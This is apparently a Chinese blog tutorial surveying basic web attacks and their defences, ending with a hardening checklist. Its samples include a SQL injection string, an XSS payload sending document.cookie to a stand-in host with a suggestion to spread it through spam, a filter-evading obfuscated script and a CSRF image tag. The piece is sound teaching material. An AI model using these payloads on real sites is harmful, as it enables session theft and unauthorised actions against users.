先不說上面的“通過腳本把信息發(fā)送給服務(wù)器”是什么情況，我們先來聊一聊WEB基本攻擊有哪些。

WEB基本攻擊大致可以分為三大類—— “資源枚舉”、“參數(shù)操縱” 和 “其它攻擊”。

有時候受前人（技術(shù)前輩也好，你所接任的上一位員工也好）的影響，我們可能會約定成俗地去做某件事情，比如用駱駝命名法法來命名函數(shù)名、用JSDoc的方式來書寫注釋，這樣會讓你的團隊工作更加規(guī)范。然后有一天要給項目做備份了，就直接把該項目壓縮為rar文件，命名為什么呢？首選的自然是“bak.rar”，你看數(shù)據(jù)庫的備份的形式不也是.bak嘛。

于是乎，如果壓縮包所在的地址是可訪問的，那么所有人都可以輕松地下載到這個"bak.rar"文件，你的項目也不存在什么小秘密了（即使夏天夏天悄悄地過去）。

這就是“資源枚舉”，別有用心的人會遍歷你站點所有可訪問的目錄，然后把一些常見的備胎文件名（比如“sql.bak”、“index-副本.html”）一個個都枚舉一下，如果運氣好枚舉到了就直接下載。

于是跟隨主流在這里不是好的事情，對于重要的東西，要么放在外人不可訪問的地方，要么應(yīng)當(dāng)給它起一個不那么好猜的名字。

資源枚舉也不僅僅局限于瞎找東西，聰明的人會利用線索來更好地猜東西。

假設(shè)有一個站點走的偽靜態(tài)的高冷路線，不想讓別人知道它所使用的語言和數(shù)據(jù)庫，但沒有配置好后端錯誤信息的提示。那么“別有用心”的朋友就可以在這個站點里的某個搜索結(jié)果頁面篡改url參數(shù)，導(dǎo)致數(shù)據(jù)庫查詢錯誤而返回數(shù)據(jù)庫錯誤信息頁面，或者輸入一個根本不存在的子頁面地址來獲取錯誤信息，進而可判斷該站點到底用的是什么數(shù)據(jù)庫或動態(tài)語言。

這里包括了SQL注入、XPath注入、cgi命令執(zhí)行，還有XXS和會話劫持等。前三個的攻擊主要是在服務(wù)端觸發(fā)的，后二者的攻擊則是側(cè)重于客戶端。

SQL注入這塊不想細(xì)聊了，相信很多朋友都聽到耳朵長繭，不外乎是提交含有SQL操作語句的信息給后端，后端如果沒有做好過濾就執(zhí)行該語句，攻擊者自然可以隨意操縱該站點的數(shù)據(jù)庫。

比如有一個圖書館站點，你點進一本書的詳情頁面，其url是這樣的：

/book?id=100

說明這本書在數(shù)據(jù)庫中的鍵值是100，后端收到url參數(shù)后就執(zhí)行了數(shù)據(jù)庫查詢操作：

select * from booktable where id='100'

那么如果我們把url更改為

/book?id=100'or'1'='1

那么數(shù)據(jù)庫操作執(zhí)行就變成了：

select * from booktable where id='100'or'1'='1'

從而取出了整個booktable 表單的全部數(shù)據(jù)。

XPath注入跟SQL注入差不多，只不過這里的數(shù)據(jù)庫走的xml格式，攻擊方式自然也得按xml查找的語法來了，具體 可看這里 。

cgi命令執(zhí)行指的是用戶遠(yuǎn)程訪問cgi腳本時，通過提交惡意的參數(shù)讓服務(wù)器執(zhí)行相關(guān)的cgi命令來獲取信息甚至操縱服務(wù)器。有興趣的朋友可以 看下這里 。

對于這幾個攻擊，我們需要做的自然是對提交參數(shù)的過濾，最好是前端過濾一遍，后端也過濾一遍（后端的過濾和攔截是最重要的，畢竟通過在瀏覽器禁用腳本的配置可以躲過前端的過濾）。

XSS（cross-site scripting跨域腳本攻擊）攻擊也是最常見的WEB攻擊之一，其重點是“跨域”和“客戶端執(zhí)行”。我們還是拿那個圖書館網(wǎng)站來調(diào)侃下。

假設(shè)頁面右上角有一個搜索書籍的地方，你隨便輸入一本壓根就沒有的書，比如“有錢任性指南”，然后點擊“搜索”按鈕。這時候頁面 ( /search?name=有錢任性指南 ) 會返回一段信息：

您搜索的書籍“有錢任性指南”不存在

好的，那我們輸入這個怎樣：

<script>alert('沒有書開個毛線書店啊')</script>

假設(shè)這個圖書館站點沒有對數(shù)據(jù)做任何過濾，而且會原封不動地把用戶輸入的數(shù)據(jù)展示回來，那么返回的頁面自然也會返回這段腳本，從而執(zhí)行它。

但是這樣不好玩，既然要做攻擊，我們就要獲取用戶的數(shù)據(jù)，要獲取數(shù)據(jù)自然要把信息傳回我們的服務(wù)器（假設(shè)接收信息的地址是http://vajoy/get），那咱們可以這樣寫：

<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

不過這樣不好玩啊，收到的總是我們自己的數(shù)據(jù)，我們要收集的應(yīng)該是別人的cookie信息?。?/p>

小意思，不妨通過QQ群，或者通過群發(fā)垃圾郵件，來讓其他人點擊這個地址：

/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>

這種便是XSS攻擊中的一種，稱為“Reflected XSS”——基于反射的XSS攻擊，主要依靠站點服務(wù)端返回腳本，在客戶端觸發(fā)執(zhí)行從而發(fā)起WEB攻擊。

與其相近的是“DOM-based or local XSS”——基于DOM或本地的XSS攻擊。拿我現(xiàn)在工作的項目做比方——為用戶提供免費的wifi，但是提供免費wifi的網(wǎng)關(guān)會往你訪問的任何頁面插入一段腳本，從而植入懸浮廣告（當(dāng)然你可以關(guān)閉它），這貌似沒什么，但如果插入的腳本是獲取你敏感數(shù)據(jù)的惡意腳本那就不一樣了。像這種直接存在于頁面，無須經(jīng)過服務(wù)器返回腳本處理就直接跨域發(fā)送用戶信息的行為就是基于本地的XSS攻擊。

還有最后一種稱為“Stored XSS”——基于存儲的XSS攻擊。它是通過貼吧啊博客園啊等地方來發(fā)表帶有惡意跨域腳本的帖子或文章，從而把惡意腳本存儲在里面，每個訪問該帖子/文章的人就會中招。

還記得一開始加載本文章的alert彈窗么？假設(shè)博客園對文章進行了過濾，把全部“alert”啊、"eval"啊等敏感字符都過濾掉，那我們怎么辦？我們可以這樣：

<script type="text/javascript">
var x='eva'+String.fromCharCode(108),y=window,e='a'+String.fromCharCode(108)+'ert("歡迎收看本文章")';
y[x]['call'](this,e);
</script>

照樣實現(xiàn)我們想要的彈窗無誤。

對于XSS的預(yù)防自然也是對提交數(shù)據(jù)的過濾，另外還有一點——謹(jǐn)慎返回用戶提交的內(nèi)容！

百度百科有個很有意思的引喻——“在現(xiàn)實生活中，比如你去市場買菜，在交完錢后你要求先去干一些別的事情，稍候再來拿菜；如果這個時候某個陌生人要求把菜拿走，賣菜的人會把菜給陌生人嗎？”

這個比喻很有意思，我們常規(guī)訪問一個http網(wǎng)站時是與其服務(wù)器建立了一次HTTP會話。假設(shè)你宿舍樓的“朋友”都跟你處于同一個子網(wǎng)上，其中有人想偽裝成你來劫持你的HTTP會話，那么服務(wù)器會把菜，哦不，是信息返回給那個人嗎？

答案是肯定的，因為HTTP會話并不安全。它在經(jīng)過TCP/IP協(xié)議封裝傳輸數(shù)據(jù)時，在傳輸?shù)臄?shù)據(jù)的每一個字節(jié)中插入一個32位的序列號碼，這個序列號用來保持跟蹤數(shù)據(jù)和提供可靠性（序列號是依循數(shù)據(jù)順序逐步遞增的）。第三方攻擊者可以通過嗅探的方式來獲取用戶與服務(wù)器通訊中的報文信息，如果他能猜測到數(shù)據(jù)中的序列號，那便能把合法的用戶斷開，偽裝成合法用戶讓自己控制后續(xù)的通話。

對于會話劫持的預(yù)防，可以走SSH協(xié)議、增強網(wǎng)絡(luò)安全系統(tǒng)健壯性，也可以使用無序的UUID來替代通訊中的序列號碼（而非逐步遞增）。

其它攻擊包括有前面未提及的CSRF攻擊、釣魚攻擊和拒絕服務(wù)攻擊等。

CSRF（cross-site request forgery），翻譯為跨站請求偽造，與XSS非常相似，但XSS是利用用戶對當(dāng)前網(wǎng)站的信任來發(fā)起攻擊，而CSRF是利用網(wǎng)站對用戶的信任來發(fā)起攻擊。

依舊拿上述的圖書館站點打個比方，如果它的安全機制很松懈——只要用戶登錄了網(wǎng)站后，只要沒關(guān)閉瀏覽器，在任何情況都可以作為一個已通過身份驗證的用戶來做購書、借書操作（無須重新登錄或者輸入支付密碼什么的，畢竟已經(jīng)登錄驗證過一次了嘛）。

那么我們給一位用戶發(fā)送一份郵件怎樣，里面放有一條轉(zhuǎn)向購書執(zhí)行頁面的鏈接。。。噢不，那樣還得用戶點擊它，我們想讓用戶看到的時候就立刻執(zhí)行了購書操作，我們可以這樣做——在郵件中插入一張圖片：

<img src='http:///pay?bookid=100'/>

img、script、iframe標(biāo)簽都是不受同源策略限制的，假設(shè)你使用的郵箱很直白地給用戶即時顯示這張圖片，而該用戶又剛好登錄了且沒有關(guān)閉瀏覽器，那么src里的連接就會立刻訪問/pay頁面，并按照已通過身份驗證的情況來處理，從而做了購書的操作。

相信現(xiàn)在你會很清楚為何現(xiàn)在的郵箱都不會直接顯示郵件里的圖片了吧——都是為了你的安全考慮。

對于CSRF攻擊，我們所能做的可以有：

1. 檢查報頭中的Referer參數(shù)確保請求發(fā)自正確的網(wǎng)站（但XHR請求可調(diào)用setRequestHeader方法來修改Referer報頭）；

2. 對于任何重要的請求都需要重新驗證用戶的身份；

3. 創(chuàng)建一個唯一的令牌（Token），將其存在服務(wù)端的session中及客戶端的cookie中，對任何請求，都檢查二者是否一致。

釣魚攻擊指的是網(wǎng)站的偽造，比如ta0bao.com，然后在其中應(yīng)用XSS等方式發(fā)起攻擊。

拒絕服務(wù)（DoS）指的是向網(wǎng)站發(fā)起洪水一樣的請求（Traffic Floor），導(dǎo)致服務(wù)器超負(fù)荷并關(guān)閉，處理方法常規(guī)是采用QoS（Quality of Service）的軟硬件解決方案。

攻擊層面指的是有惡意的人可能會從哪些地方來入手制造麻煩，常見的攻擊層面有三種：

1. 表單輸入（甚至包括hidden控件的內(nèi)容）；

2. cookie（通過修改cookie內(nèi)容也可以達(dá)到SQL注入攻擊的目的）；

3. 報頭（有時候為了方便統(tǒng)計來源數(shù)據(jù)，服務(wù)器會把客戶端發(fā)來報頭的Referer、User-Agent信息存到數(shù)據(jù)庫中，那么通過修改報頭信息也可以起到SQL注入工具目的）

4. 請求參數(shù)

5. 上傳文件（在文件內(nèi)攜帶惡意代碼）

1. 上述“傳統(tǒng)WEB服務(wù)”的全部方法；

2. WSDL文檔（暴露了服務(wù)端的每個方法及其使用方式）

即上述的“一”和“二”的合集

綜上所述，我們可以這樣審視我們的WEB站點：

1. 永遠(yuǎn)不要相信客戶端傳來的任何信息，對這些信息都應(yīng)先進行編碼或過濾處理；

2. 謹(jǐn)慎返回用戶輸入的信息；

3. 使用黑名單和白名單處理（即“不允許哪些敏感信息”或“只允許哪些信息”，白名單的效果更好但局限性高）；

4. 檢查、驗證請求來源，對每一個重要的操作都進行重新驗證；

5. 使用SSL防止第三方監(jiān)聽通信（但無法阻止XSS、CSRF、SQL注入攻擊）；

6. 不要將重要文件、備份文件存放在公眾可訪問到的地方；

7. 會話ID無序化；

8. 對用戶上傳的文件進行驗證（不單單是格式驗證，比方一張gif圖片還應(yīng)將其轉(zhuǎn)為二進制并驗證其每幀顏色值<無符號8位>和寬高值<無符號16位>）；

9. WSDL文檔應(yīng)當(dāng)要求用戶注冊后才能獲取；

10. 。。。。。。。。

雖然我們有一些必要的手段來防止WEB攻擊，但永遠(yuǎn)不會有一枚silver bullet來徹底解決問題，先不談那些數(shù)不勝數(shù)的已知的、可被攻擊的漏洞，對于謎一樣的0-day漏洞，我們所能做的只是提前發(fā)現(xiàn)并及時修補它們。